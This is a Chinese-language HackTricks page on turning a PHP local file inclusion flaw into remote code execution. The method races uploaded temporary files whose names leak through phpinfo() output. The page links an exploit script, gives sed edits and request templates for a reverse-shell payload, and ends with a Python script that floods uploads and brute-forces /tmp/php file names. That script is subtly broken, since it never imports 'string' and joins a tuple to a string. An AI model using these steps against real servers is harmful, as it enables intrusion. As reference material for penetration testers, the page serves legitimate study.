LFI2RCE via phpinfo()

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

要利用此漏洞，您需要：一个 LFI 漏洞，一个显示 phpinfo() 的页面，“file_uploads = on”，并且服务器必须能够在“/tmp”目录中写入。

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

教程 HTB： https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

您需要修复漏洞（将 => 更改为 =>）。为此，您可以执行：

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

您还需要更改漏洞利用的payload（例如，使用php-rev-shell），REQ1（这应该指向phpinfo页面并包含填充，即：REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1），以及LFIREQ（这应该指向LFI漏洞，即：LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- 在利用空字符时检查双“%”）

212KB

LFI-With-PHPInfo-Assistance.pdf

pdf

理论

如果在PHP中允许上传文件，并且您尝试上传文件，则该文件会存储在临时目录中，直到服务器处理完请求，然后该临时文件会被删除。

然后，如果您在Web服务器中发现了LFI漏洞，您可以尝试猜测创建的临时文件的名称，并通过在文件被删除之前访问临时文件来利用RCE。

在Windows中，文件通常存储在C:\Windows\temp\php

在linux中，文件的名称通常是随机的，并位于**/tmp**。由于名称是随机的，因此需要从某处提取临时文件的名称并在其被删除之前访问它。这可以通过读取函数“phpconfig()”内容中的变量$_FILES的值来完成。

phpinfo()

PHP使用4096B的缓冲区，当它满时，它会被发送到客户端。然后客户端可以发送 大量大请求（使用大头部）上传php反向shell，等待phpinfo()的第一部分返回（其中包含临时文件的名称），并尝试在php服务器删除文件之前通过利用LFI漏洞访问临时文件。

Python脚本尝试暴力破解名称（如果长度=6）

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。